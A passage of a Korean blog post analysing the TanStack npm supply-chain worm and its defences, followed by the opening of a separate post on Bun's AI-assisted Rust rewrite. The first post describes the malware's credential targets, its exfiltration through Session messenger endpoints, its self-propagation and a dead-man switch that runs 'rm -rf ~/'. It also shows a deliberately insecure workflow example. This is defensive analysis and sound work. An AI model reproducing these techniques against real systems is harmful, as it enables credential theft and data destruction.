- GCP metadata 서비스
- Kubernetes service account 토큰
- HashiCorp Vault 토큰
- `~/.npmrc`에 저장된 npm 토큰
- GitHub CLI (`gh`) 토큰
- `~/.git-credentials`
- SSH 키 (`~/.ssh/`)

CI 환경뿐만 아니라 **개발자 로컬 환경**도 노리고 있었다는 점이 중요하다. 개발자가 `pnpm install` 또는 `npm install`을 실행하는 순간 자격증명이 털리는 구조다.

### 데이터 유출: Session 메신저 네트워크 활용

기존의 공급망 공격들은 보통 공격자가 운영하는 C2(Command & Control) 서버로 데이터를 빼돌렸다. 이건 추적이 가능하다는 단점이 있다. URL을 도메인 차단하면 끝이니까.

이번 공격은 **Session/Oxen 메신저 네트워크**를 활용했다. Session은 E2E 암호화된 익명 메신저로, 분산된 노드 네트워크를 사용한다. 페이로드는 다음 엔드포인트를 사용했다.

- `filev2.getsession.org`
- `seed1.getsession.org`, `seed2.getsession.org`, `seed3.getsession.org`

이건 합법적인 메신저 서비스라서 단순 차단이 어렵다. 도메인을 차단하면 일반 사용자의 메신저 사용도 같이 막히는 거다. 또 공격자 입장에서는 자기 서버를 운영할 필요가 없으니 인프라 비용도 들지 않는다.

### 자가 증식 (Worm 동작)

이 페이로드의 가장 흥미로운 부분은 자가 증식 메커니즘이다. 페이로드는 다음 단계로 worm처럼 퍼져나간다.

1. 훔친 npm 토큰으로 `registry.npmjs.org/-/v1/search?text=maintainer:<유저명>` API 호출
2. 피해자가 관리하는 모든 npm 패키지 목록을 얻음
3. 각 패키지에 동일한 페이로드를 주입한 새 버전을 발행

즉, 한 명의 메인테이너가 감염되면 그 사람이 관리하는 **모든 패키지**가 동시에 오염된다. Socket 보안 팀은 이 worm이 200개 이상의 다른 패키지로 전파된 것을 추적했다[^4].

### 지속성 (Persistence)

페이로드는 단발성 정찰에 그치지 않는다. 시스템에 영구적으로 자리 잡으려는 메커니즘도 있다.

**Linux**

- `~/.local/bin/gh-token-monitor.sh` 생성
- systemd user service로 등록

**macOS**

- LaunchAgent `com.user.gh-token-monitor`로 등록

이 모니터 스크립트가 하는 일이 흥미롭다. 60초마다 훔친 GitHub 토큰으로 `api.github.com/user`를 호출한다. 그러다가 응답이 40x (즉, 토큰이 revoke됨)가 되면 미리 설정된 핸들러를 실행한다. issue에 공개된 디코딩된 스크립트를 보면 핸들러는 `rm -rf ~/` 같은 파괴적인 명령이다.

이게 일종의 "데드맨 스위치"다. **희생자가 토큰을 revoke하는 순간 보복이 발동된다.** 이런 점이 보안 사고 대응을 어렵게 만든다. 단순히 토큰을 무효화하면 안 되고, 먼저 페이로드의 흔적을 모두 제거하고 시스템을 격리한 다음에 토큰을 처리해야 한다.

스크립트에는 24시간 TTL도 있어서, 너무 오래 실행되지 않게 자기 자신을 제거하기도 한다. 흔적을 줄이려는 의도다.

### 페이로드 흔적 확인 명령

GitHub issue #7383 댓글에 정리된 체크 명령들을 옮긴다[^2]. 5월 11일경에 영향받은 패키지를 설치한 적이 있다면 다음을 확인해보자.

```bash
find ~ -path '*/.claude/setup.mjs' -o -path '*/.vscode/setup.mjs'
find ~/.config -name '*gh-token-monitor*'
find ~/.local/bin -name 'gh-token-monitor.sh'
find /tmp -name 'tmp.ts018051808.lock'
ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun'
```

뭐가 하나라도 나오면 감염 의심이다. 시스템을 격리하고, 모든 자격증명을 회전시키고, 시스템 재설치를 고려해야 한다.

## 세 개의 취약점이 한 줄로 연결되다

이번 공격은 단일 취약점이 아니라 **세 개의 약점이 체인을 이룬** 결과다. postmortem이 강조한 부분이기도 한데, 각각의 약점은 단독으로는 충분히 위험하지 않지만 조합되면 치명적이다.

```mermaid
graph LR
    A[1. pull_request_target<br/>+ PR 머지 ref 체크아웃] --> B[2. base 캐시 쓰기 권한]
    B --> C[3. release 워크플로우가<br/>같은 캐시 키 사용]
    C --> D[4. 메모리에서 OIDC 토큰 추출]
    D --> E[npm 발행 권한 탈취]
```

각 단계가 어떻게 다음 단계의 전제 조건이 되는지 다시 정리해보자.

| 단계 | 약점                                      | 단독으로는             |
| ---- | ----------------------------------------- | ---------------------- |
| 1    | `pull_request_target`이 PR 코드 실행      | 캐시 오염에 도달       |
| 2    | PR 워크플로우가 base 캐시에 쓰기 가능     | release 빌드 오염 가능 |
| 3    | release 워크플로우가 캐시 무비판적 사용   | runtime 임의 코드 실행 |
| 4    | runner 프로세스 메모리에서 OIDC 토큰 추출 | npm 발행 권한 탈취     |

만약 이 중 하나라도 끊겨 있었다면 공격은 실패했을 것이다.

- (1)을 끊으려면: `pull_request_target` 트리거를 사용하더라도 PR 코드를 실행하지 말 것
- (2)를 끊으려면: `pull_request_target`이 main 스코프에 캐시를 쓰지 못하게 할 것 (또는 release가 캐시를 안 쓰게 할 것)
- (3)을 끊으려면: release 워크플로우는 캐시 없이 clean install할 것
- (4)를 끊으려면: id-token: write 권한을 가진 step에서 신뢰할 수 없는 코드를 실행하지 않을 것

방어책은 이 체인의 모든 단계에서 만들 수 있다. 하나하나 살펴보자.

## 방어책 1: `pull_request_target` 안전하게 쓰기

`pull_request_target`을 아예 안 쓰는 게 가장 확실하다. 하지만 외부 PR에 코멘트나 라벨이 필요한 경우엔 어쩔 수 없이 써야 한다. 이때 지켜야 할 원칙을 정리해보자.

### 원칙 1: PR 코드를 실행하지 말 것

이게 가장 중요하다. `pull_request_target`의 본래 디자인은 "PR의 메타데이터만 사용하라"는 것이다.

❌ **잘못된 예: PR 머지 ref를 체크아웃**

```yaml
on: pull_request_target

jobs:
  bad:
    steps:
      - uses: actions/checkout@v6
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge
      - run: pnpm install
```

✅ **올바른 예: 라벨링/코멘트만**

```yaml
on: pull_request_target

jobs:
  good:
    permissions:
      pull-requests: write
    steps:
      - uses: actions/labeler@v5
```

### 원칙 2: 꼭 PR 코드를 빌드해야 한다면 권한 분리

외부 PR을 빌드해서 벤치마크해야 하는 경우, 권한을 명확히 분리한다.

```yaml
on:
  pull_request_target:
    paths: ['packages/**']

jobs:
  build:
    permissions:
      contents: read # 최소 권한
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge
          persist-credentials: false # GITHUB_TOKEN을 git config에 안 저장
      - run: pnpm install --ignore-scripts # postinstall 차단
      - run: pnpm build
      - uses: actions/upload-artifact@v4
        with:
          name: pr-build
          path: dist/

  comment:
    needs: build
    permissions:
      pull-requests: write # 코멘트는 이쪽에서만
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: pr-build
      - run: |
          # PR 코드는 여기서 실행하지 않음 (artifact만 읽음)
          node ./scripts/analyze-bundle.js
```

PR 코드를 실행하는 job과 PR에 코멘트를 다는 job을 분리하고, 후자에서는 PR 코드를 아예 실행하지 않는다.

### 원칙 3: `repository_owner` 가드 추가

`pull_request_target`은 fork에서도 실행된다. 본인 레포의 fork에서 워크플로우가 실행되는 게 의도된 동작이 아니라면 다음 가드를 추가한다.

```yaml
jobs:
  build:
    if: github.event.pull_request.head.repo.owner.login == github.repository_owner
```

또는 organization 멤버만 허용하는 패턴도 있다.

```yaml
if: contains(fromJson('["MAINTAINER1", "MAINTAINER2"]'), github.event.pull_request.user.login)
```

이건 외부 기여를 받는 오픈소스 프로젝트에는 안 맞는다. 외부 PR을 빌드는 하되 권한이 있는 작업은 안 하는 식으로 분리해야 한다.

### 원칙 4: install scripts 비활성화

PR이 `postinstall`을 통해 임의 코드를 실행하는 게 가장 흔한 패턴이다. pnpm v10부터는 의존성의 lifecycle script가 [기본적으로 실행되지 않으니](https://pnpm.io/ko/settings#onlybuiltdependencies) 이미 어느 정도 보호된다. 명시적으로 허용한 패키지(`onlyBuiltDependencies`)만 script를 실행할 수 있다.

npm/yarn을 쓰거나, pnpm v10 미만이라면 `--ignore-scripts`로 직접 차단해야 한다.

```yaml
- run: npm ci --ignore-scripts
```

다만 이게 만능은 아니다. install이 끝난 다음 빌드 스크립트가 실행되면 거기서 또 임의 코드 실행이 가능하다. 예를 들어 PR이 `vite.config.ts`를 수정해서 빌드 시점에 페이로드를 실행하게 만들 수 있다. **빌드 자체가 임의 코드 실행이라는 점**을 잊지 말자.

## 방어책 2: 캐시 신뢰 경계 분리

캐시 포이즈닝이 이 공격의 핵심이었다. 그런데 여기서 한 가지 주의할 점이 있다. GitHub Actions 캐시의 **보안 경계는 키 prefix가 아니라 브랜치(ref)다.** 같은 브랜치 스코프에 들어간 캐시는 키 prefix를 아무리 다르게 줘도 격리되지 않는다. `pull_request_target`이 main 컨텍스트에서 실행되면, 거기서 만든 캐시는 키 이름과 상관없이 main 스코프의 일부가 된다.

따라서 "PR용 캐시 키"와 "release용 캐시 키"를 prefix로 나누는 건 의미가 없다. **유일하게 확실한 방법은 release 워크플로우에서 캐시를 사용하지 않는 것**이다.

### release는 캐시 사용 안 함

가장 확실한 방법은 release 워크플로우에서 아예 캐시를 사용하지 않는 것이다.

```yaml:.github/workflows/release.yml
- uses: actions/setup-node@v6
  with:
    node-version: '24'
    # cache 옵션 안 줌
- run: pnpm install --frozen-lockfile
```

빌드가 좀 느려지지만, release는 자주 일어나는 게 아니라 큰 손해는 아니다. 보안 vs 속도 트레이드오프에서 release만큼은 보안을 우선하는 게 맞다.

### lockfile 검증

`pnpm install --frozen-lockfile`은 lockfile에 명시된 것과 다른 의존성이 설치되면 실패한다. PR이 lockfile을 조작하지 않은 한, 정상적인 의존성만 설치된다. release에서는 항상 `--frozen-lockfile`을 쓰자.

## 방어책 3: 액션 SHA pinning

TanStack 워크플로우의 또 다른 약점은 third-party 액션을 floating ref로 참조했다는 점이다.

```yaml
- uses: actions/checkout@v6.0.2
- uses: pnpm/action-setup@v4
- uses: actions/setup-node@v6
```

`@v6.0.2`나 `@v4` 같은 태그는 commit SHA가 아니다. 그 액션의 메인테이너가 같은 태그를 다른 SHA로 옮길 수 있다. 즉, **액션 메인테이너가 해킹되면 우리도 해킹된다.**

2025년 3월의 `tj-actions/changed-files` 사건이 정확히 이 시나리오였다[^5]. 해당 액션의 메인테이너 토큰이 탈취되어 태그가 악성 SHA로 옮겨졌고, 그걸 사용하던 수많은 레포가 한꺼번에 감염됐다.

권장 패턴은 SHA pinning이다.

```yaml
# floating tag (위험)
- uses: actions/checkout@v6.0.2

# SHA pinning (안전)
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v6.0.2
```

코멘트로 버전을 남겨두면 readability도 유지된다. Dependabot이 SHA를 자동으로 업데이트해주니 운영 부담도 크지 않다.

GitHub의 verified 액션이라도 마찬가지다. `actions/checkout` 같은 GitHub 공식 액션도 메인테이너 계정이 털리면 똑같이 위험하다.

## 방어책 4: OIDC trusted publisher 가드

OIDC가 메모리에서 추출됐다는 게 흥미로운데, 사실 trusted publisher 자체에도 추가 가드를 걸 수 있다.

### npm trusted publisher 설정 검토

npm trusted publisher 설정은 다음을 검증한다.

- GitHub 레포 이름
- 워크플로우 파일 경로 (예: `.github/workflows/release.yml`)
- 환경 (Environment) — 옵션

가장 중요한 가드는 **GitHub Environment**다. release용 environment를 만들고 거기에 protection rule을 걸어두면, 발행 전에 수동 승인을 요구할 수 있다.

```yaml
jobs:
  publish:
    environment: production-release # <-- protection rule이 걸린 environment
    permissions:
      id-token: write
    steps:
      - run: pnpm publish -r
```

그리고 GitHub UI에서 `production-release` environment에 다음을 설정한다.

- Required reviewers: 메인테이너 N명
- Wait timer: 발행까지 X분 지연

이렇게 하면 자동 발행이 안 된다. 누군가 수동으로 승인해야만 OIDC 토큰이 발급된다. 자동화의 편의성은 좀 줄지만, 공급망 공격에 대한 추가 방어선이 된다.

### npm 발행 별 검토

npm 자체에도 "Require 2FA for publishing" 같은 옵션이 있지만, OIDC trusted publisher 사용 시에는 적용되지 않는 게 함정이다. TanStack postmortem도 이 점을 지적한다.

> "OIDC trusted publisher 사용 시 발행별 추가 검토 메커니즘이 없었다."

현재 npm 정책에서는 trusted publisher가 신뢰되면 추가 인증이 없다. environment protection으로 직접 만들어 넣는 수밖에 없다.

## 방어책 5: 정적 분석 도구

GitHub Actions 워크플로우의 보안 이슈를 자동으로 찾아주는 도구들이 있다. issue 댓글에서도 여러 번 추천된 것들이다.

### zizmor

[zizmor](https://zizmor.sh/)는 Rust로 작성된 GitHub Actions 정적 분석 도구다. `pull_request_target` 오용, 안전하지 않은 액션 사용, 시크릿 노출 패턴 등을 찾아낸다.

```bash
zizmor .github/workflows/
```

CI에 통합해서 워크플로우 변경 시마다 자동으로 검사하게 할 수 있다.

### StepSecurity

[StepSecurity](https://app.stepsecurity.io/)는 워크플로우를 분석해서 권장 변경사항을 자동으로 PR로 만들어준다. 액션 SHA pinning, 권한 최소화, 캐시 분리 같은 변경을 한 번에 적용해준다.

흥미롭게도 이번 사건을 처음 탐지한 사람이 StepSecurity 직원이다. 그들이 자기 도구로 모니터링하다가 캐시 포이즈닝 패턴을 발견한 것으로 추정된다.

### GitHub 자체 기능

GitHub은 최근에 워크플로우 보안 관련 기능을 강화했다.

- **Dependency review**: PR이 의존성을 추가/변경할 때 자동 검사
- **Secret scanning**: 시크릿이 코드에 들어가는 걸 차단
- **Code scanning**: CodeQL로 워크플로우 자체도 분석

이걸 활성화하지 않은 레포가 아직 많다. 무료로 쓸 수 있으니 일단 켜놓고 보자.

## 방어책 6: 사용자(소비자) 측 방어

지금까지는 라이브러리를 운영하는 입장에서의 방어책이었다. 그렇다면 라이브러리를 **사용하는** 입장에서는 무엇을 할 수 있을까. TanStack을 의존성으로 가진 수많은 프로젝트들 입장에서.

### 1. 의존성 cooldown

가장 효과적인 방어는 새로 발행된 버전을 **즉시 설치하지 않는 것**이다. 며칠만 기다리면 외부 연구자들이 악성 패키지를 발견하고 deprecated 처리한다. TanStack 사건도 약 30분만에 탐지됐고 4.5시간만에 npm에서 제거됐다.

pnpm은 [`minimumReleaseAge`](https://pnpm.io/ko/settings#minimumreleaseage) 설정으로 이걸 자동화할 수 있다.

```yaml:.npmrc
minimumReleaseAge=4320   # 분 단위, 즉 3일
```

이렇게 해두면 발행된 지 3일이 안 된 버전은 무시한다. 이번 같은 0-day 공급망 공격에 대해 자동 격리 효과가 있다.

npm 자체에는 이 기능이 없지만, [`socket.dev`](https://socket.dev) 같은 외부 도구를 통해 비슷한 정책을 적용할 수 있다.

### 2. lifecycle scripts 차단

postinstall scripts는 공급망 공격의 주요 진입점이다. 좋은 소식은 [pnpm v10부터는 기본적으로 의존성 lifecycle script가 실행되지 않는다는 것](https://pnpm.io/ko/settings#onlybuiltdependencies)이다. 명시적으로 허용한 패키지만 script를 실행할 수 있다.

```json:package.json
{
  "pnpm": {
    "onlyBuiltDependencies": ["esbuild", "@swc/core"]
  }
}
```

명시한 패키지만 install scripts 실행 허용. 나머지는 다 무시한다. pnpm v10 미만이거나 npm/yarn을 쓴다면 CI에서 명시적으로 `--ignore-scripts`를 붙여야 한다.

```yaml:.github/workflows/ci.yml
- run: npm ci --ignore-scripts
```

이번 TanStack 사건처럼 `optionalDependencies` + git URL + `prepare` 트릭으로 우회하는 경우도 있으니, `onlyBuiltDependencies` 리스트를 최대한 작게 유지하자.

### 3. lockfile 검증

`pnpm install --frozen-lockfile` 또는 `npm ci`는 lockfile과 다른 게 설치되면 실패한다. 이걸 CI에서 강제하면, lockfile 업데이트 없이 의존성이 바뀌는 일은 없다. PR로 들어온 lockfile 변경은 사람이 리뷰해야만 한다.

### 4. 자격증명 최소화

CI에서 npm 설치 단계에 시크릿을 노출하지 말자. 빌드/테스트와 배포는 별도 step으로 분리하고, 배포 step에서만 필요한 시크릿을 주입한다.

```yaml
jobs:
  test:
    permissions:
      contents: read
    steps:
      - run: pnpm install
      - run: pnpm test
      # 여기엔 시크릿 없음

  deploy:
    needs: test
    permissions:
      contents: read
      id-token: write # 배포 step에만
    steps:
      - run: ./deploy.sh
```

이렇게 하면 의존성에 페이로드가 박혀 있어도 시크릿을 못 훔친다.

### 5. SBOM과 라이선스/취약점 스캐닝

`socket.dev`, Snyk, GitHub Dependabot 같은 도구들은 의존성 트리를 분석해서 알려진 악성 패키지를 차단한다. 이번처럼 0-day 공격 직후에는 효과가 제한적이지만, 사후 탐지에는 유용하다.

특히 socket.dev는 정적 분석 기반으로 "수상한 패키지" 자체를 차단할 수 있다. 새로 발행된 버전이 갑자기 `child_process`를 import한다거나, network 호출을 시작한다거나 하면 알려준다.

## 솔직한 의견

여기까지 보면 알 수 있겠지만, 이번 사건은 **TanStack 팀의 잘못이 아니다**. 적어도 단독으로는. 이들이 사용한 패턴은 수많은 오픈소스 프로젝트가 똑같이 사용하는 패턴이다. `pull_request_target`으로 외부 PR에 벤치마크 코멘트를 다는 것은 흔한 디자인이다. 외부 PR도 빌드해줘야 contributor experience가 좋으니까.

문제는 **GitHub Actions의 디자인 자체**가 이런 안티패턴을 너무 쉽게 만들 수 있게 되어 있다는 점이다.

- `pull_request_target`이라는 이름이 이게 위험하다는 걸 전혀 시사하지 않는다
- `actions/checkout`은 fork PR도 기본 옵션으로 그냥 체크아웃해준다 (경고도 없이)
- `permissions: contents: read`가 캐시 쓰기를 막지 않는다는 게 문서 어디에 명시되어 있는가
- 캐시 스코프 규칙은 알아야만 알 수 있는 함정이다

이 정도 함정이 깔려있는 시스템이라면, 단순히 "메인테이너가 더 조심해야 한다"고 말하는 건 책임 전가다. GitHub Actions의 기본 디자인이 더 안전한 방향으로 가야 한다. 예를 들어 `pull_request_target` 워크플로우에서 PR ref를 체크아웃하면 GitHub UI에 빨간 경고가 떠야 한다. 캐시 키도 트리거 타입별로 자동 분리되어야 한다.

그래도 라이브러리 메인테이너 입장에서 "GitHub이 고쳐줄 때까지 기다린다"는 선택지는 없다. 지금 당장 자기 워크플로우를 점검하고 SHA pinning, 캐시 분리, environment protection을 적용하는 수밖에 없다. 사용자 입장에서는 의존성 cooldown과 lifecycle script 차단(pnpm v10+ 사용 또는 `--ignore-scripts`)을 적용하자.

지난 React/Next.js 사건[^3]이 "내 앱에 어떤 코드가 들어있는지 모른다"는 문제였다면, 이번 사건은 "내 앱에 들어가는 코드가 어떻게 빌드되었는지 모른다"는 더 깊은 문제다. 둘 다 현대 프론트엔드 생태계의 복잡성이 만들어낸 사각지대다.

운이 좋게도 이번 공격자는 테스트를 망가뜨리는 실수를 했고, 외부 연구자가 빨리 찾아냈다. 만약 더 조용한 공격자였다면, 만약 더 인기 있는 패키지였다면, 만약 메인테이너가 휴가 중이었다면, 피해는 훨씬 컸을 것이다. 다음번엔 그런 운이 따라줄 거라고 기대해서는 안 된다.

## 마치며

CI/CD 파이프라인 자체가 공격 표면이 된 시대다. 코드만 안전하다고 끝이 아니다. 그 코드를 컴파일하고 패키징하고 발행하는 모든 단계가 신뢰할 수 있어야 한다. 그리고 그 신뢰 체인의 어느 한 곳이라도 끊어지면, 결과물은 신뢰할 수 없다.

### 라이브러리 운영자 입장에서

당장 자기 레포의 워크플로우를 열어보자. `pull_request_target`을 검색해보고, 그게 PR 코드를 실행하는지 확인하자. 액션이 floating tag로 참조되어 있는지 보자. release 워크플로우가 캐시를 사용하는지 보자. environment protection rule이 걸려있는지도. 이번 사건의 교훈을 우리 레포에 적용하는 데 한 시간도 안 걸린다. 그 한 시간으로 다음번 공격을 피할 수 있다면 충분히 가치 있는 투자다.

### 라이브러리를 쓰는 입장에서

운영자가 아니라 그냥 npm 패키지를 가져다 쓰는 입장에서도 할 일이 있다. 사실 더 현실적인 입장이다. 어차피 모든 의존성의 워크플로우를 우리가 통제할 수는 없으니, "메인테이너가 털릴 가능성"을 전제로 깔고 방어해야 한다.

체크리스트는 이렇다.

- **`.npmrc`에 `minimumReleaseAge=4320` (3일 기준) 추가** — 갓 발행된 버전을 자동 격리. 30분 만에 탐지되는 이번 같은 사건에서는 절대적이다
- **pnpm v10+ 사용** — 의존성 lifecycle script가 기본 차단. 그래도 `onlyBuiltDependencies` 리스트는 최소로 유지
- **CI에서 `--frozen-lockfile` 강제** — lockfile 변경은 사람이 리뷰해야만 들어오게
- **시크릿을 install/build step에 노출시키지 말 것** — 배포 step에만 시크릿이 닿게 분리
- **CVE / 공급망 공격 소식에 귀 기울이기** — 한 발 빨리 알면 한 발 빨리 패치한다. 추천 채널:
  - [GitHub Advisory Database](https://github.com/advisories?ecosystem=npm) — npm 생태계 권고 (RSS 지원)
  - [Socket Threat Research](https://socket.dev/blog) — 신규 악성 패키지 실시간 추적
  - [Snyk Vulnerability DB](https://security.snyk.io/) — 의존성 취약점 검색/구독
  - [npm Security Newsletter](https://github.blog/category/security/) (GitHub Security Blog)
  - [The Register Security](https://www.theregister.com/security/) — 사건 후속 보도가 빠르다
  - [Hacker News](https://news.ycombinator.com/) — 메이저 사건은 보통 30분 안에 1면

이 중 첫 번째(`minimumReleaseAge`)만 해도 이번 TanStack 공격에 대해서는 완전한 방어가 됐다. 한 줄 추가하는 데 1분도 안 걸린다.

이런 일은 앞으로도 반복될 것이다. 솔직히 짜증나는 일이지만, **오픈소스를 공짜로 쓰는 대가 정도로 생각하는 게 마음 편하다.** 누군가의 코드를 가져다 쓴다는 건 그 사람(과 그 사람의 CI 파이프라인, 그 사람의 노트북, 그 사람의 npm 계정)의 보안 수준을 같이 받아들이는 것이다. 그러니 1년에 몇 시간은 의존성 관리에 쓰자.

## 참고

[^1]: [TanStack: NPM Supply Chain Compromise Postmortem](https://tanstack.com/blog/npm-supply-chain-compromise-postmortem) — 사건 타임라인, 캐시 포이즈닝과 OIDC 메모리 추출 분석, 대응 조치 전반.

[^2]: [GitHub Issue: TanStack/router#7383](https://github.com/TanStack/router/issues/7383) — 사건 발견 이슈. carlini의 페이로드 정밀 분석, 감염 확인 명령, 데드맨 스위치 디코딩이 댓글에 정리됨.

[^3]: [React 취약점인데 왜 Next.js를 업그레이드해야 하지?](https://yceffort.kr/2025/12/nextjs-react-security-vulnerability) — 2025년 12월 React2Shell (CVE-2025-55182) 분석. 프레임워크 번들링이 만든 사각지대를 다룬다.

[^4]: [Socket: Mini Shai-Hulud Supply Chain Attack Tracker](https://socket.dev/supply-chain-attacks/mini-shai-hulud) — TanStack worm 전파 추적. 200개 이상 패키지 PURL 목록.

[^5]: [Wiz: GitHub Action tj-actions/changed-files supply chain attack (CVE-2025-30066)](https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066) — 2025년 3월 사건. 동일한 OIDC 메모리 추출 Python 스크립트를 사용했다.

[^6]: [GitHub Actions is the Weakest Link (Nesbitt)](https://nesbitt.io/2026/04/28/github-actions-is-the-weakest-link.html) — Pwn Request 패턴과 GitHub Actions 디자인 함정 정리. 이번 사건의 배경 독서로 적합.

[^7]: [GitHub Docs: pull_request_target](https://docs.github.com/en/actions/writing-workflows/choosing-when-your-workflow-runs/events-that-trigger-workflows#pull_request_target) — pull_request_target 트리거 공식 문서. base 브랜치 컨텍스트 실행과 권한 모델 명시.

### 도구

- [zizmor — GitHub Actions 정적 분석 도구](https://zizmor.sh/)
- [StepSecurity](https://app.stepsecurity.io/securerepo)
- [pnpm minimumReleaseAge 설정](https://pnpm.io/ko/settings#minimumreleaseage)

---

Source: https://yceffort.kr/2026/05/bun-rust-rewrite-real-story.md
Title: <em>Bun rewrite</em>가 폭로한 것: OSS는 외부 AI만 막을 수 있었다
Description: Bun이 Claude Code로 6일 만에 Zig에서 Rust로 옮긴 사건. 코드 품질보다 OSS 거버넌스와 자원 비대칭의 의미가 더 크다.
Date: 2026-05-15
Tags: bun, rust, oss, code-generation, ai, governance

## Table of Contents

## 서론

Bun 창립자 Jarred Sumner가 Anthropic의 Claude Code로 약 96만 줄의 Zig 코드를 6일만에 Rust로 옮겼다. Linux x64 glibc 기준 테스트 99.8% 통과. main branch에는 6,755개 commit으로 100만 줄 이상의 Rust 코드가 머지됐다[^1]. Sumner는 v1.3.14가 "마지막 Zig 버전"이 될 거라고 했다.

당연히 시끄러웠다. Hacker News에 700+ upvote와 500+ comment가 달렸고[^16], The Register는 두 차례에 걸쳐 비판적으로 다뤘다[^2][^1]. 커뮤니티 비판은 크게 두 갈래다. 하나는 unsafe 블록 개수. Rust 버전에 unsafe가 13,000개를 넘는다고 보고됐다. 비교 대상인 [uv](https://github.com/astral-sh/uv)는 35만 줄에 73개다. 둘은 Rust로 옮긴 게 아니라 Zig를 Rust 문법으로 transliteration한 것에 가깝다는 비판이다.

두 비판은 production에서 2-3개월 굴려보기 전엔 결론이 나지 않는다. 옹호 측도 비판 측도 아직 근거가 부족하다. 이 글은 unsafe 개수 자체가 정당한지 판정하려는 글은 아니다. 다만 이 논쟁이 왜 본질이 아닌지 설명하기 위해, unsafe와 FFI 문제가 무엇을 의미하는지는 먼저 짚고 넘어간다.

이 사건의 진짜 의미는 코드 품질이 아니라 거버넌스와 자원에 있다. 그 둘은 코드 품질보다 더 오래, 더 크게 영향을 미친다.

> **OSS의 AI 방어 메커니즘은 외부 기여자만 막도록 설계됐다. 메인테이너 자신이 AI가 되는 시나리오는 아무도 준비하지 않았다.**

이 비대칭을 두 측면에서 본다. 메인테이너 정의가 바뀐 것. 그리고 토큰 접근성이 새 변수가 된 것.

## 지금까지 도구 변화가 만든 패턴

무엇이 새로운지 짚으려면 새롭지 않은 것부터 정리해야 한다.

도구 때문에 개발자 직업의 정의가 바뀐 건 처음이 아니다.

처음에는 어셈블리어로 직접 짜는 사람만 "진짜 프로그래머"였다. C 컴파일러가 나왔을 때 "기계가 짠 코드는 사람이 짠 만큼 효율적일 수 없다"는 반응이 있었다. Garbage Collector가 도입됐을 때 "메모리 관리는 프로그래머의 책임이다"라는 입장이 있었고, 지금 메모리를 직접 관리하는 언어는 시스템 영역에만 남았다. IDE 자동완성, ORM, Docker가 차례로 등장할 때마다 "그건 진짜 X가 아니다"라는 반응이 있었다. 지금은 다 일상이다.

패턴은 일관적이다. **새 도구가 나오면 일부 노동이 기계로 넘어가고, 그 노동을 하던 사람들은 한 단계 위로 올라가거나, 좁은 틈새에 남거나, 시장에서 밀린다.** 어셈블리를 직접 짜는 사람은 지금도 있다. 게임 엔진 hot path, 임베디드 일부, 컴파일러 작성 영역에. 좁은 틈새의 예시다. 일반 개발자 시장에서는 0.1% 미만이다.

AI 코드 생성도 같은 연속선 위에 있다. 다만 이전 도구 변화와 두 가지가 결정적으로 다르다.

| 변화              | 보급 속도 | 자원 비대칭                 |
| ----------------- | --------- | --------------------------- |
| C 컴파일러        | 수년      | 거의 없음 (한 번 깔면 끝)   |
| Garbage Collector | 수년      | 없음 (런타임 비용만)        |
| IDE 자동완성      | 수년      | 없음                        |
| Docker / 클라우드 | 수년      | 약간 (인프라 비용)          |
| AI 코드 생성      | 수개월    | 큼 (사용량 비례, 지속 비용) |

속도 차이는 정도의 문제지만 자원 비대칭은 본질이 다른 문제다. 컴파일러는 한 번 깔면 누구에게나 똑같이 동작한다. AI는 사용량에 비례해 토큰 비용이 계속 든다. 이 비용 구조의 차이가 OSS 거버넌스에 어떻게 작용하는지 보여준 첫 대형 사례가 Bun rewrite다.

## 초기 비판들

세 갈래 비판을 먼저 정리한다. 각각이 어디까지 정당하고 어디서 한계에 부딪히는지 짚어둬야 글의 핵심 thesis가 어떤 evidence 위에 서는지 분명해진다.

### Unsafe 블록 13,000개

#### 먼저 `unsafe`가 뭔지

Rust는 borrow checker라는 정적 분석기로 메모리 안전성을 컴파일 타임에 검증한다. ownership, borrow, lifetime 규칙을 어기는 코드는 컴파일이 안 된다. 다만 모든 시스템 프로그래밍 작업이 이 규칙 안에서 표현되지는 않는다. raw pointer 역참조, C 함수 호출(FFI), `static mut` 접근, union 필드 접근, `transmute` 같은 강제 타입 변환 — 이런 작업은 borrow checker가 검증 자체를 할 수 없다. 컴파일러가 "이 코드가 안전한지 모르겠다"라고 말하는 영역이다.

이런 코드를 작성하려면 `unsafe { ... }` 블록 안에서 명시적으로 써야 한다. `unsafe` 블록은 프로그래머가 "이 안의 invariant는 내가 보증한다, 컴파일러는 검증 못 하니까 믿어라"라고 선언하는 표시다. **안전 보장의 책임이 컴파일러에서 프로그래머로 넘어오는 경계**다.

```rust
extern "C" {
    fn jsc_alloc() -> *mut JSValue;
}

let value: *mut JSValue = unsafe { jsc_alloc() };
// 여기서 프로그래머가 보증해야 하는 것들:
// - 반환된 포인터가 유효한 메모리를 가리킨다
// - 다른 곳에서 동시에 free되지 않는다
// - 메모리 layout이 JSValue와 호환된다
// - aliasing 규칙을 어기지 않는다
```

unsafe 블록 안의 한 줄짜리 실수가 use-after-free, data race, 메모리 침범으로 이어진다. 그리고 그게 unsafe 블록 바깥의 safe 코드까지 오염시킬 수 있다. C/C++에서 일어나는 메모리 버그가 Rust에서도 unsafe 영역에서는 그대로 일어난다.

#### 그래서 13,000개가 시끄러운 이유

13,000개 각각이 "이 안의 invariant를 내가 보증한다"는 선언이다. 보증 주체는 코드를 작성한 인간이어야 한다. **그런데 이 코드를 작성한 건 인간이 아니라 AI 에이전트고, 그 13,000개를 6일 안에 인간이 검토했을 가능성은 0에 가깝다.** PORTING.md가 모든 unsafe 블록에 `// SAFETY:` 주석을 의무화했지만, AI가 작성한 SAFETY 주석의 정확성은 결국 인간이 검토해야 하는 대상이다.

unsafe 안에서 발생한 메모리 침범, data race, 잘못된 ownership transfer는 프로그램 전체의 안전 보장을 깨뜨린다. "Rust로 옮겼으니 안전하다"는 주장이 unsafe 영역에는 적용되지 않는다는 게 핵심 비판의 출발점이다.

#### Bun의 숫자로 돌아가면

